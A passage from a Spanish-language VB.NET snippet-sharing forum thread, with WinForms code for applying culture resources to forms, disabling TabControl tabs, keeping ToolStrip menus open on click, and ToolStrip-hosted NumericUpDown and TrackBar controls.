  31.  
  32.    Dim resources As New ComponentResourceManager(form.GetType())
  33.  
  34.    ' Action delegate that applies resources to an IComponent.
  35.    Dim applyResources As Action(Of IComponent, String) =
  36.        Sub(component As IComponent, name As String)
  37.            If String.IsNullOrEmpty(name) Then
  38.                ' Not valid to apply localization resources.
  39.                Exit Sub
  40.            Else
  41.                resources.ApplyResources(component, name, culture)
  42.            End If
  43.  
  44.            ' Applies resources to the items and subitems of a ToolStrip component, recursively.
  45.            If TypeOf component Is ToolStrip Then
  46.                Dim ts As ToolStrip = DirectCast(component, ToolStrip)
  47.                ToolStripExtensions.ForEachItem(ts, recursive:=True, Sub(item) applyResources(item, item.Name))
  48.            End If
  49.  
  50. #If DEBUG Then ' Prints debug information.
  51.            ' Flags to retrieve the "Text" property of a component.
  52.            Const textPropBindingFlags As BindingFlags =
  53.                BindingFlags.Instance Or BindingFlags.Static Or
  54.                BindingFlags.Public Or BindingFlags.NonPublic
  55.  
  56.            Dim textProp As PropertyInfo =
  57.                (From prop As PropertyInfo In component.GetType().GetProperties(textPropBindingFlags)
  58.                 Where prop.PropertyType Is GetType(String) AndAlso
  59.                       prop.Name.Equals("Text", StringComparison.OrdinalIgnoreCase)
  60.                ).SingleOrDefault()
  61.  
  62.            Dim text As String = DirectCast(textProp?.GetValue(component), String)
  63.            If String.IsNullOrEmpty(text) Then
  64.                text = "(null)"
  65.            End If
  66.            Debug.WriteLine($"Culture: {culture.EnglishName} ({culture.Name}), Component: {name,-40}, Text: {text}")
  67. #End If
  68.        End Sub
  69.  
  70.    ' Apply resources to the form.
  71.    applyResources(form, form.Name)
  72.  
  73.    ' Apply resources to the controls hosted in the form, recursively.
  74.    FormExtensions.ForEachControl(form, recursive:=True, Sub(ctrl) applyResources(ctrl, ctrl.Name))
  75.  
  76.    ' Apply resources to the components hosted in the ComponentCollection of the form.
  77.    Dim components As ComponentCollection = IContainerControlExtensions.GetComponentCollection(form)
  78.    If components IsNot Nothing Then
  79.        ' Flags to retrieve the "Name" property of a component.
  80.        Const namePropBindingFlags As BindingFlags =
  81.            BindingFlags.Instance Or BindingFlags.Static Or
  82.            BindingFlags.Public Or BindingFlags.NonPublic
  83.  
  84.        For Each component As IComponent In components
  85.            Dim nameProp As PropertyInfo =
  86.                  (From prop As PropertyInfo In component.GetType().GetProperties(namePropBindingFlags)
  87.                   Where prop.PropertyType Is GetType(String) AndAlso
  88.                         prop.Name.Equals("Name", StringComparison.OrdinalIgnoreCase)
  89.                  ).SingleOrDefault()
  90.  
  91.            Dim name As String = DirectCast(nameProp?.GetValue(component), String)
  92.            applyResources(component, name)
  93.        Next component
  94.    End If
  95.  
  96.    ' This code finds and applies resources to component fields declared at the form level
  97.    ' (including those in the auto-generated code of the form designer) that doesn't have
  98.    ' defined a "Name" property (such as NotifyIcon, ColorDialog, OpenFileDialog, etc).
  99.    Const fieldsBindingFlags As BindingFlags =
  100.        BindingFlags.Instance Or BindingFlags.DeclaredOnly Or BindingFlags.Static Or
  101.        BindingFlags.Public Or BindingFlags.NonPublic
  102.  
  103.    Dim fields As IEnumerable(Of FieldInfo) =
  104.                From field As FieldInfo In form.GetType().GetFields(fieldsBindingFlags)
  105.                Where GetType(IComponent).IsAssignableFrom(field.FieldType) AndAlso
  106.                  Not GetType(Control).IsAssignableFrom(field.FieldType) AndAlso
  107.                  Not GetType(ToolStripItem).IsAssignableFrom(field.FieldType)
  108.  
  109.    For Each field As FieldInfo In fields
  110.        Dim component As IComponent = DirectCast(field.GetValue(form), IComponent)
  111.        Dim name As String = field.Name.TrimStart("_"c) ' E.g.: "_NotifyIcon1" -> "NotifyIcon1"
  112.        applyResources(component, name)
  113.    Next field
  114.  
  115. End Sub

Código
  1. ''' <summary>
  2. ''' This method sets the current UI culture to the specified culture name,
  3. ''' then applies culture-specific resources to the open forms of the current application,
  4. ''' to its controls and child controls, including menus and their items, and
  5. ''' the components in the form's <see cref="ComponentCollection"/>, recursively.
  6. ''' </summary>
  7. '''
  8. ''' <example> This is a code example.
  9. ''' <code language="VB">
  10. ''' Dim cultureName As String = "es-ES"
  11. ''' ApplyCultureResources(cultureName)
  12. ''' </code>
  13. ''' </example>
  14. '''
  15. ''' <param name="cultureName">
  16. ''' The culture name of the resources to apply.
  17. ''' </param>
  18. Public Shared Sub ApplyCultureResources(cultureName As String)
  19.    For Each form As Form In System.Windows.Forms.Application.OpenForms
  20.        ApplyCultureResources(form, cultureName)
  21.    Next form
  22. End Sub


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 16 Abril 2024, 08:45 am
Dos métodos de extensión que nos permiten, de forma simple y sencilla usado solamente una línea de código, desactivar o activar una o varias pestañas de un TabControl, lo que no se limita solamente a desactivar la página (propiedad: TabPage.Enabled), sino también a prohibir o permitir que las pestañas puedan seleccionarse en el TabControl.

Modo de empleo:

Para desactivar una o varias pestañas:
Código
  1. TabControl1.DisableTabs(TabPage1, TabPage2)

Para (re)activar una o varias pestañas:
Código
  1. TabControl1.EnableTabs(TabPage1, TabPage2)

El Código:

Código
  1. Imports System.Runtime.CompilerServices
  2.  
  3. ''' <summary>
  4. ''' Provides extension methods for a <see cref="TabControl"/> control.
  5. ''' </summary>
  6. <HideModuleName>
  7. Public Module TabControlExtensions
  8.  
  9.    ''' <summary>
  10.    ''' Collection used to store tab pages whose tab header need to remain disabled on a <see cref="TabControl"/>.
  11.    ''' <para></para>
  12.    ''' This collection depends on <see cref="TabControlExtensions.DisableOrEnableTabs_Internal"/> method.
  13.    ''' </summary>
  14.    Private disabledTabs As HashSet(Of TabPage)
  15.  
  16.    ''' <summary>
  17.    ''' Collection used to store tab controls whose its <see cref="TabControl.Selecting"/> event
  18.    ''' has been associated to <see cref="TabControlExtensions.disableTabPageHandler"/>.
  19.    ''' <para></para>
  20.    ''' This collection depends on <see cref="TabControlExtensions.DisableOrEnableTabs_Internal"/> method.
  21.    ''' </summary>
  22.    Private tabHandlerAddedControls As HashSet(Of TabControl)
  23.  
  24.    ''' <summary>
  25.    ''' A <see cref="TabControlCancelEventHandler"/> delegate used for disabling tabs on a <see cref="TabControl"/>.
  26.    ''' <para></para>
  27.    ''' This handler depends on <see cref="TabControlExtensions.DisableOrEnableTabs_Internal"/> method.
  28.    ''' </summary>
  29.    Private tabDisablerHandler As TabControlCancelEventHandler
  30.  
  31.    ''' <summary>
  32.    ''' Disables one or multiple <see cref="TabPage"/>,
  33.    ''' making the tabs unselectable in the source <see cref="TabControl"/>.
  34.    ''' </summary>
  35.    '''
  36.    ''' <param name="tabControl">
  37.    ''' The source <see cref="TabControl"/>.
  38.    ''' </param>
  39.    '''
  40.    ''' <param name="tabPages">
  41.    ''' An Array of <see cref="TabPage"/> to disable.
  42.    ''' </param>
  43.    <Extension>
  44.    <DebuggerStepThrough>
  45.    Public Sub DisableTabs(tabControl As TabControl, ParamArray tabPages As TabPage())
  46.        TabControlExtensions.DisableOrEnableTabs_Internal(tabControl, enabled:=False, tabPages)
  47.    End Sub
  48.  
  49.    ''' <summary>
  50.    ''' Enables one or multiple <see cref="TabPage"/> that were previously
  51.    ''' disabled by a call to <see cref="TabControlExtensions.DisableTabPages"/> method,
  52.    ''' making the tabs selectable again in the source <see cref="TabControl"/>.
  53.    ''' </summary>
  54.    '''
  55.    ''' <param name="tabControl">
  56.    ''' The source <see cref="TabControl"/>.
  57.    ''' </param>
  58.    '''
  59.    ''' <param name="tabPages">
  60.    ''' An Array of <see cref="TabPage"/> to enable.
  61.    ''' </param>
  62.    <Extension>
  63.    <DebuggerStepThrough>
  64.    Public Sub EnableTabs(tabControl As TabControl, ParamArray tabPages As TabPage())
  65.        TabControlExtensions.DisableOrEnableTabs_Internal(tabControl, enabled:=True, tabPages)
  66.    End Sub
  67.  
  68.    ''' <summary>
  69.    ''' *** FOR INTERNAL USE ONLY ***
  70.    ''' <para></para>
  71.    ''' Disables or enables one or multiple <see cref="TabPage"/>,
  72.    ''' denying or allowing their tab selection in the source <see cref="TabControl"/>.
  73.    ''' </summary>
  74.    '''
  75.    ''' <param name="tabControl">
  76.    ''' The source <see cref="TabControl"/>.
  77.    ''' </param>
  78.    '''
  79.    ''' <param name="enabled">
  80.    ''' If <see langword="False"/>, disables the tab pages and make them unselectable in the source <see cref="TabControl"/>;
  81.    ''' otherwise, enable the tab pages and allows to be selected in the source <see cref="TabControl"/>.
  82.    ''' </param>
  83.    '''
  84.    ''' <param name="tabPages">
  85.    ''' An Array of the tab pages to disable or enable.
  86.    ''' </param>
  87.    <DebuggerStepThrough>
  88.    Private Sub DisableOrEnableTabs_Internal(tabControl As TabControl, enabled As Boolean, ParamArray tabPages As TabPage())
  89.        If tabControl Is Nothing Then
  90.            Throw New ArgumentNullException(paramName:=NameOf(tabControl))
  91.        End If
  92.        If tabPages Is Nothing Then
  93.            Throw New ArgumentNullException(paramName:=NameOf(tabPages))
  94.        End If
  95.  
  96.        ' Initialize collections.
  97.        If TabControlExtensions.disabledTabs Is Nothing Then
  98.            TabControlExtensions.disabledTabs = New HashSet(Of TabPage)
  99.        End If
  100.        If TabControlExtensions.tabHandlerAddedControls Is Nothing Then
  101.            TabControlExtensions.tabHandlerAddedControls = New HashSet(Of TabControl)
  102.        End If
  103.  
  104.        ' Initialize handler.
  105.        If TabControlExtensions.tabDisablerHandler Is Nothing Then
  106.            TabControlExtensions.tabDisablerHandler =
  107.                Sub(sender As Object, e As TabControlCancelEventArgs)
  108.                    If e.TabPageIndex < 0 Then
  109.                        Exit Sub
  110.                    End If
  111.  
  112.                    Select Case e.Action
  113.                        Case TabControlAction.Selecting, TabControlAction.Selected
  114.                            e.Cancel = TabControlExtensions.disabledTabs.Contains(e.TabPage)
  115.                        Case Else
  116.                            Exit Sub
  117.                    End Select
  118.                End Sub
  119.        End If
  120.  
  121.        For Each tabPage As TabPage In tabPages
  122.            If tabPage Is Nothing Then
  123.                Throw New NullReferenceException($"{NameOf(tabPage)} object is null.")
  124.            End If
  125.  
  126.            ' Disable or enable the tab page.
  127.            tabPage.Enabled = enabled
  128.  
  129.            If Not enabled Then ' Disable the tab header.
  130.                Dim success As Boolean = disabledTabs.Add(tabPage)
  131.                If success AndAlso Not TabControlExtensions.tabHandlerAddedControls.Contains(tabControl) Then
  132.                    AddHandler tabControl.Selecting, TabControlExtensions.tabDisablerHandler
  133.                    TabControlExtensions.tabHandlerAddedControls.Add(tabControl)
  134.                End If
  135.            Else ' Enable the tab header.
  136.                Dim success As Boolean = disabledTabs.Remove(tabPage)
  137.                If success AndAlso TabControlExtensions.tabHandlerAddedControls.Contains(tabControl) AndAlso
  138.                               Not TabControlExtensions.disabledTabs.Any() Then
  139.                    RemoveHandler tabControl.Selecting, TabControlExtensions.tabDisablerHandler
  140.                    TabControlExtensions.tabHandlerAddedControls.Remove(tabControl)
  141.                End If
  142.            End If
  143.        Next tabPage
  144.  
  145.    End Sub
  146.  
  147. End Module


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 16 Abril 2024, 12:24 pm
Un método de extensión para impedir que un ToolStripMenuItem se cierre al hacer click en uno de sus items hijos.

Ejemplo de uso:

Código
  1. Dim menuItem As ToolStripMenuItem = Me.ToolStripMenuItem1
  2. Dim preventClosure As Boolean = True
  3. Dim recursive As Boolean = False
  4. menuItem.SetClosureBehaviorOnClick(preventClosure, recursive)

(https://i.imgur.com/sLn9aIb.gif)

El código:

Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 12-April-2024
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' ToolStripMenuItem.SetClosureBehaviorOnClick(Boolean, Boolean)
  9.  
  10. #End Region
  11.  
  12. #Region " Option Statements "
  13.  
  14. Option Strict On
  15. Option Explicit On
  16. Option Infer Off
  17.  
  18. #End Region
  19.  
  20. #Region " Imports "
  21.  
  22. Imports System.Collections.Generic
  23. Imports System.ComponentModel
  24. Imports System.Linq
  25. Imports System.Runtime.CompilerServices
  26. Imports System.Windows.Forms
  27.  
  28. #End Region
  29.  
  30. #Region " ToolStripMenuItem Extensions "
  31.  
  32. Namespace DevCase.Core.Extensions
  33.  
  34.    ''' ----------------------------------------------------------------------------------------------------
  35.    ''' <summary>
  36.    ''' Provides extension methods to use with the <see cref="ToolStripMenuItem"/> class.
  37.    ''' </summary>
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    <HideModuleName>
  40.    Public Module ToolStripMenuItemExtensions
  41.  
  42. #Region " Public Extension Methods "
  43.  
  44.        ''' <summary>
  45.        ''' A <see cref="ToolStripDropDownClosingEventHandler"/> delegate used to control
  46.        ''' the <see cref="ToolStripDropDown.Closing"/> event of a <see cref="ToolStripDropDown"/>.
  47.        ''' <para></para>
  48.        ''' This handler depends on <see cref="ToolStripMenuItemExtensions.SetClosureBehaviorOnClick"/> method.
  49.        ''' </summary>
  50.        Private closingHandler As ToolStripDropDownClosingEventHandler
  51.  
  52.        ''' <summary>
  53.        ''' A collection of <see cref="ToolStripDropDown"/> items
  54.        ''' whose <see cref="ToolStripDropDown.Closing"/> event
  55.        ''' has been associated to <see cref="ToolStripMenuItemExtensions.closingHandler"/>.
  56.        ''' <para></para>
  57.        ''' This collection depends on <see cref="ToolStripMenuItemExtensions.SetClosureBehaviorOnClick"/> method.
  58.        ''' </summary>
  59.        Private closingHandlerAssociatedItems As HashSet(Of ToolStripDropDown)
  60.  
  61.        ''' <summary>
  62.        ''' Sets the closure behavior for the source <see cref="ToolStripMenuItem"/> when its drop-down items are clicked.
  63.        ''' </summary>
  64.        '''
  65.        ''' <remarks>
  66.        ''' This method associates the underlying
  67.        ''' <see cref="ToolStripMenuItem.DropDown"/>'s <see cref="ToolStripDropDown.Closing"/> event
  68.        ''' with a handler to control the closure behavior.
  69.        ''' </remarks>
  70.        '''
  71.        ''' <example> This is a code example.
  72.        ''' <code language="VB">
  73.        ''' Dim menuItem As ToolStripMenuItem = Me.ToolStripMenuItem1
  74.        ''' Dim preventClosure As Boolean = True
  75.        ''' Dim recursive As Boolean = True
  76.        '''
  77.        ''' menuItem.SetClosureBehaviorOnClick(preventClosure, recursive)
  78.        ''' </code>
  79.        ''' </example>
  80.        '''
  81.        ''' <param name="menuItem">
  82.        ''' The <see cref="ToolStripMenuItem"/> to set the closure behavior for.
  83.        ''' </param>
  84.        '''
  85.        ''' <param name="preventClosure">
  86.        ''' <see langword="True"/> to prevent closure of the source <see cref="ToolStripMenuItem"/>
  87.        ''' when its drop-down items are clicked; otherwise, <see langword="False"/>.
  88.        ''' </param>
  89.        <DebuggerStepThrough>
  90.        <Extension>
  91.        <EditorBrowsable(EditorBrowsableState.Always)>
  92.        Public Sub SetClosureBehaviorOnClick(menuItem As ToolStripMenuItem, preventClosure As Boolean, recursive As Boolean)
  93.            If menuItem Is Nothing Then
  94.                Throw New ArgumentNullException(paramName:=NameOf(menuItem))
  95.            End If
  96.  
  97.            If Not menuItem.HasDropDown Then
  98.                Throw New InvalidOperationException(
  99.                "The ToolStripDropDownItem.DropDown for the ToolStripDropDownItem has not been created.")
  100.            End If
  101.  
  102.            If ToolStripMenuItemExtensions.closingHandler Is Nothing Then
  103.                ToolStripMenuItemExtensions.closingHandler =
  104.                    Sub(sender As Object, e As ToolStripDropDownClosingEventArgs)
  105.                        e.Cancel = (e.CloseReason = ToolStripDropDownCloseReason.ItemClicked)
  106.                    End Sub
  107.            End If
  108.  
  109.            If ToolStripMenuItemExtensions.closingHandlerAssociatedItems Is Nothing Then
  110.                ToolStripMenuItemExtensions.closingHandlerAssociatedItems = New HashSet(Of ToolStripDropDown)
  111.            End If
  112.  
  113.            Dim dropdownAction As Action(Of ToolStripDropDown) =
  114.                Sub(dropdown As ToolStripDropDown)
  115.                    If preventClosure Then
  116.                        If Not ToolStripMenuItemExtensions.closingHandlerAssociatedItems.Contains(dropdown) Then
  117.                            AddHandler dropdown.Closing, ToolStripMenuItemExtensions.closingHandler
  118.                            ToolStripMenuItemExtensions.closingHandlerAssociatedItems.Add(dropdown)
  119.                        End If
  120.                    Else
  121.                        If ToolStripMenuItemExtensions.closingHandlerAssociatedItems.Contains(dropdown) Then
  122.                            RemoveHandler dropdown.Closing, ToolStripMenuItemExtensions.closingHandler
  123.                            ToolStripMenuItemExtensions.closingHandlerAssociatedItems.Remove(dropdown)
  124.                        End If
  125.                    End If
  126.                End Sub
  127.  
  128.            Dim queue As New Queue(Of ToolStripDropDown)
  129.  
  130.            ' Root level items iteration.
  131.            If recursive Then
  132.                queue.Enqueue(menuItem.DropDown)
  133.            Else
  134.                If TypeOf menuItem Is ToolStripMenuItem Then
  135.                    dropdownAction(menuItem.DropDown)
  136.                End If
  137.            End If
  138.  
  139.            ' Recursive items iteration.
  140.            While queue.Any()
  141.                Dim currentItem As ToolStripDropDown = queue.Dequeue()
  142.                dropdownAction(currentItem)
  143.  
  144.                If currentItem.HasChildren Then
  145.                    For Each subMenuItem As ToolStripMenuItem In currentItem.Items.OfType(Of ToolStripMenuItem)
  146.                        If subMenuItem.HasDropDown Then
  147.                            queue.Enqueue(subMenuItem.DropDown)
  148.                        End If
  149.                    Next
  150.                End If
  151.            End While
  152.        End Sub
  153.  
  154. #End Region
  155.  
  156.    End Module
  157.  
  158. End Namespace
  159.  
  160. #End Region
  161.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2024, 18:16 pm
En esta ocasión comparto el código fuente de un control de tipo NumericUpDown para poder usarlo en una barra ToolStrip o StatusStrip, y también un control de tipo TrackBar con la misma finalidad.

(https://i.imgur.com/tHuknz0.png)

(https://i.imgur.com/UmQia0w.png)

ToolStripNumericUpDown.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 19-April-2024
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. Imports System.ComponentModel
  17. Imports System.Drawing
  18. Imports System.Runtime.InteropServices
  19. Imports System.Windows.Forms
  20. Imports System.Windows.Forms.Design
  21.  
  22. #End Region
  23.  
  24. #Region " ToolStripNumericUpDown "
  25.  
  26. ' ReSharper disable once CheckNamespace
  27.  
  28. Namespace DevCase.UI.Components
  29.  
  30.    ''' <summary>
  31.    ''' Represents a selectable Windows spin box <see cref="ToolStripItem"/> that displays numeric values.
  32.    ''' </summary>
  33.    ''' <seealso cref="ToolStripControlHost"/>
  34.    <
  35.        ComVisible(True),
  36.        DebuggerStepThrough,
  37.        DefaultEvent(NameOf(ToolStripNumericUpDown.ValueChanged)),
  38.        DefaultProperty(NameOf(ToolStripNumericUpDown.Value)),
  39.        DefaultBindingProperty(NameOf(ToolStripNumericUpDown.Value)),
  40.        Description("Represents a selectable Windows spin box ToolStripItem that displays numeric values."),
  41.        Designer("System.Windows.Forms.Design.ToolStripItemDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"),
  42.        DesignerCategory(NameOf(DesignerCategoryAttribute.Generic)),
  43.        DesignTimeVisible(False),
  44.        DisplayName(NameOf(ToolStripNumericUpDown)),
  45.        Localizable(True),
  46.        ToolboxBitmap(GetType(NumericUpDown), "NumericUpDown.bmp"),
  47.        ToolboxItem(False),
  48.        ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Allow),
  49.        ToolStripItemDesignerAvailability(ToolStripItemDesignerAvailability.ToolStrip Or ToolStripItemDesignerAvailability.StatusStrip)
  50.    >
  51.    Public Class ToolStripNumericUpDown : Inherits ToolStripControlHost
  52.  
  53. #Region " Properties "
  54.  
  55.        ''' <summary>
  56.        ''' Gets the <see cref="NumericUpDown"/> control that is hosted by this <see cref="ToolStripNumericUpDown"/>.
  57.        ''' </summary>
  58.        <
  59.            Browsable(True), EditorBrowsable(EditorBrowsableState.Advanced),
  60.            DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden),
  61.            Category("Components"), Description("The NumericUpDown control that is hosted by this control.")
  62.        >
  63.        Public Shadows ReadOnly Property Control As NumericUpDown
  64.            Get
  65.                Return DirectCast(MyBase.Control, NumericUpDown)
  66.            End Get
  67.        End Property
  68.  
  69.        ''' <summary>
  70.        ''' Gets or sets the numeric value assigned to this <see cref="ToolStripNumericUpDown"/>.
  71.        ''' </summary>
  72.        '''
  73.        ''' <value>
  74.        ''' The numeric value assigned to this <see cref="ToolStripNumericUpDown"/>.
  75.        ''' </value>
  76.        <
  77.            Bindable(True),
  78.            DefaultValue(0D),
  79.            Category("Appearance"), Description("The numeric value assigned to this control.")
  80.        >
  81.        Public Property Value As Decimal
  82.            Get
  83.                Return Me.Control.Value
  84.            End Get
  85.            Set(value As Decimal)
  86.                Me.Control.Value = value
  87.            End Set
  88.        End Property
  89.  
  90.        ''' <summary>
  91.        ''' Gets or sets the text to be displayed in this <see cref="ToolStripNumericUpDown"/>.
  92.        ''' </summary>
  93.        '''
  94.        ''' <value>
  95.        ''' The text to be displayed in this <see cref="ToolStripNumericUpDown"/>.
  96.        ''' </value>
  97.        <
  98.            Browsable(False), EditorBrowsable(EditorBrowsableState.Never),
  99.            Bindable(False),
  100.            DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden),
  101.            Category("Behavior"), Description("The text to be displayed in this control.")
  102.        >
  103.        Public Overrides Property Text As String
  104.            Get
  105.                Return Me.Control.Text
  106.            End Get
  107.            Set(value As String)
  108.                Me.Control.Text = value
  109.            End Set
  110.        End Property
  111.  
  112.        ''' <summary>
  113.        ''' This property is not applicable for this control.
  114.        ''' </summary>
  115.        <
  116.            Browsable(False), EditorBrowsable(EditorBrowsableState.Never),
  117.            Category("Not Applicable"), Description("This property is not applicable for this control.")
  118.        >
  119.        Public Overrides Property BackgroundImage As Image
  120.            Get
  121.                Return Nothing
  122.            End Get
  123.            Set(value As Image)
  124.                MyBase.BackgroundImage = Nothing
  125.            End Set
  126.        End Property
  127.  
  128.        ''' <summary>
  129.        ''' This property is not applicable for this control.
  130.        ''' </summary>
  131.        <
  132.            Browsable(False), EditorBrowsable(EditorBrowsableState.Never),
  133.            Category("Not Applicable"), Description("This property is not applicable for this control.")
  134.        >
  135.        Public Overrides Property BackgroundImageLayout As ImageLayout
  136.            Get
  137.                Return MyBase.BackgroundImageLayout
  138.            End Get
  139.            Set(value As ImageLayout)
  140.                MyBase.BackgroundImageLayout = value
  141.            End Set
  142.        End Property
  143.  
  144.        ''' <summary>
  145.        ''' This property is not applicable for this control.
  146.        ''' </summary>
  147.        <
  148.            Browsable(False), EditorBrowsable(EditorBrowsableState.Never),
  149.            Category("Not Applicable"), Description("This property is not applicable for this control.")
  150.        >
  151.        Public Overrides Property Image As Image
  152.            Get
  153.                Return Nothing
  154.            End Get
  155.            Set(value As Image)
  156.                MyBase.Image = Nothing
  157.            End Set
  158.        End Property
  159.  
  160. #End Region
  161.  
  162. #Region " Events "
  163.  
  164.        ''' <summary>
  165.        ''' Occurs whenever the <see cref="ToolStripNumericUpDown.Value"/> property is changed.
  166.        ''' </summary>
  167.        <
  168.            Category("Action"), Description("Occurs whenever the Value property is changed.")
  169.        >
  170.        Public Event ValueChanged As EventHandler
  171.  
  172. #End Region
  173.  
  174. #Region " Constructors "
  175.  
  176.        ''' <summary>
  177.        ''' Initializes a new instance of the <see cref="ToolStripNumericUpDown"/> class.
  178.        ''' </summary>
  179.        Public Sub New()
  180.            MyBase.New(ToolStripNumericUpDown.CreateControlInstance())
  181.        End Sub
  182.  
  183. #End Region
  184.  
  185. #Region " Event Invocators "
  186.  
  187.        ''' <summary>
  188.        ''' Raises the <see cref="ToolStripNumericUpDown.ValueChanged"/> event.
  189.        ''' </summary>
  190.        '''
  191.        ''' <param name="sender">
  192.        ''' The source of the event.
  193.        ''' </param>
  194.        '''
  195.        ''' <param name="e">
  196.        ''' The <see cref="EventArgs"/> instance containing the event data.
  197.        ''' </param>
  198.        Private Sub OnValueChanged(sender As Object, e As EventArgs)
  199.            If Me.ValueChangedEvent IsNot Nothing Then
  200.                RaiseEvent ValueChanged(Me, e)
  201.            End If
  202.        End Sub
  203.  
  204. #End Region
  205.  
  206. #Region " Event Invocators (Overriden) "
  207.  
  208.        ''' <summary>
  209.        ''' Subscribes events from the hosted control
  210.        ''' </summary>
  211.        '''
  212.        ''' <param name="control">
  213.        ''' The control from which to subscribe events.
  214.        ''' </param>
  215.        Protected Overrides Sub OnSubscribeControlEvents(control As Control)
  216.            MyBase.OnSubscribeControlEvents(control)
  217.  
  218.            AddHandler DirectCast(control, NumericUpDown).ValueChanged, AddressOf Me.OnValueChanged
  219.        End Sub
  220.  
  221.        ''' <summary>
  222.        ''' Unsubscribes events from the hosted control
  223.        ''' </summary>
  224.        '''
  225.        ''' <param name="control">
  226.        ''' The control from which to unsubscribe events.
  227.        ''' </param>
  228.        Protected Overrides Sub OnUnsubscribeControlEvents(control As Control)
  229.            MyBase.OnUnsubscribeControlEvents(control)
  230.  
  231.            RemoveHandler DirectCast(control, NumericUpDown).ValueChanged, AddressOf Me.OnValueChanged
  232.        End Sub
  233.  
  234. #End Region
  235.  
  236. #Region " Private Methods "
  237.  
  238.        ''' <summary>
  239.        ''' Creates the control instance.
  240.        ''' </summary>
  241.        '''
  242.        ''' <returns>
  243.        ''' The control.
  244.        ''' </returns>
  245.        Private Shared Function CreateControlInstance() As Control
  246.            Return New NumericUpDown() With {.AutoSize = True}
  247.        End Function
  248.  
  249. #End Region
  250.  
  251.    End Class
  252.  
  253. End Namespace
  254.  
  255. #End Region
  256.  




ToolStripTrackBar.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 19-April-2024
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. Imports System.ComponentModel
  17. Imports System.Drawing
  18. Imports System.Runtime.InteropServices
  19. Imports System.Windows.Forms
  20. Imports System.Windows.Forms.Design
  21.  
  22. #End Region
  23.  
  24. #Region " ToolStripTrackBar "
  25.  
  26. ' ReSharper disable once CheckNamespace
  27.  
  28. Namespace DevCase.UI.Components
  29.  
  30.    ''' <summary>
  31.    ''' Represents a selectable track bar <see cref="ToolStripItem"/>.
  32.    ''' </summary>
  33.    ''' <seealso cref="ToolStripControlHost"/>
  34.    <
  35.        ComVisible(True),
  36.        DebuggerStepThrough,
  37.        DefaultEvent(NameOf(ToolStripTrackBar.Scroll)),
  38.        DefaultProperty(NameOf(ToolStripTrackBar.Value)),
  39.        DefaultBindingProperty(NameOf(ToolStripTrackBar.Value)),
  40.        Description("Represents a selectable track bar ToolStripItem."),
  41.        Designer("System.Windows.Forms.Design.ToolStripItemDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"),
  42.        DesignerCategory(NameOf(DesignerCategoryAttribute.Generic)),
  43.        DesignTimeVisible(False),
  44.        DisplayName(NameOf(ToolStripTrackBar)),
  45.        Localizable(True),
  46.        ToolboxBitmap(GetType(TrackBar), "TrackBar.bmp"),
  47.        ToolboxItem(False),
  48.        ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Allow),
  49.        ToolStripItemDesignerAvailability(ToolStripItemDesignerAvailability.ToolStrip Or ToolStripItemDesignerAvailability.StatusStrip)
  50.    >
  51.    Public Class ToolStripTrackBar : Inherits ToolStripControlHost
  52.  
  53. #Region " Properties "
  54.  
  55.        ''' <summary>
  56.        ''' Gets the <see cref="TrackBar"/> control that is hosted by this <see cref="ToolStripTrackBar"/>.
  57.        ''' </summary>
  58.        <
  59.            Browsable(True), EditorBrowsable(EditorBrowsableState.Advanced),
  60.            DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden),
  61.            Category("Components"), Description("The TrackBar control that is hosted by this control.")
  62.        >
  63.        Public Shadows ReadOnly Property Control As TrackBar
  64.            Get
  65.                Return DirectCast(MyBase.Control, TrackBar)
  66.            End Get
  67.        End Property
  68.  
  69.        ''' <summary>
  70.        ''' Gets or sets a numeric value that represents the current position of the scroll box on this <see cref="ToolStripTrackBar"/>.
  71.        ''' </summary>
  72.        '''
  73.        ''' <value>
  74.        ''' The numeric value that represents the current position of the scroll box on this <see cref="ToolStripTrackBar"/>.
  75.        ''' </value>
  76.        <
  77.            Bindable(True),
  78.            DefaultValue(0I),
  79.            Category("Behavior"), Description("The numeric value that represents the current position of the scroll box on this control.")
  80.        >
  81.        Public Property Value As Integer
  82.            Get
  83.                Return Me.Control.Value
  84.            End Get
  85.            Set(value As Integer)
  86.                Me.Control.Value = value
  87.            End Set
  88.        End Property
  89.  
  90.        ''' <summary>
  91.        ''' Gets or sets the lower limit of the range this <see cref="ToolStripTrackBar"/> is working with.
  92.        ''' </summary>
  93.        '''
  94.        ''' <value>
  95.        ''' The minimum value for this <see cref="ToolStripTrackBar"/>. The default is 0.
  96.        ''' </value>
  97.        <
  98.            Bindable(True),
  99.            DefaultValue(0I),
  100.            RefreshProperties(RefreshProperties.All),
  101.            Category("Behavior"), Description("The minimum value for this control.")
  102.        >
  103.        Public Property Minimum As Integer
  104.            Get
  105.                Return Me.Control.Minimum
  106.            End Get
  107.            Set(value As Integer)
  108.                Me.Control.Minimum = value
  109.            End Set
  110.        End Property
  111.  
  112.        ''' <summary>
  113.        ''' Gets or sets the upper limit of the range this <see cref="ToolStripTrackBar"/> is working with.
  114.        ''' </summary>
  115.        '''
  116.        ''' <value>
  117.        ''' The maximum value for this <see cref="ToolStripTrackBar"/>. The default is 10.
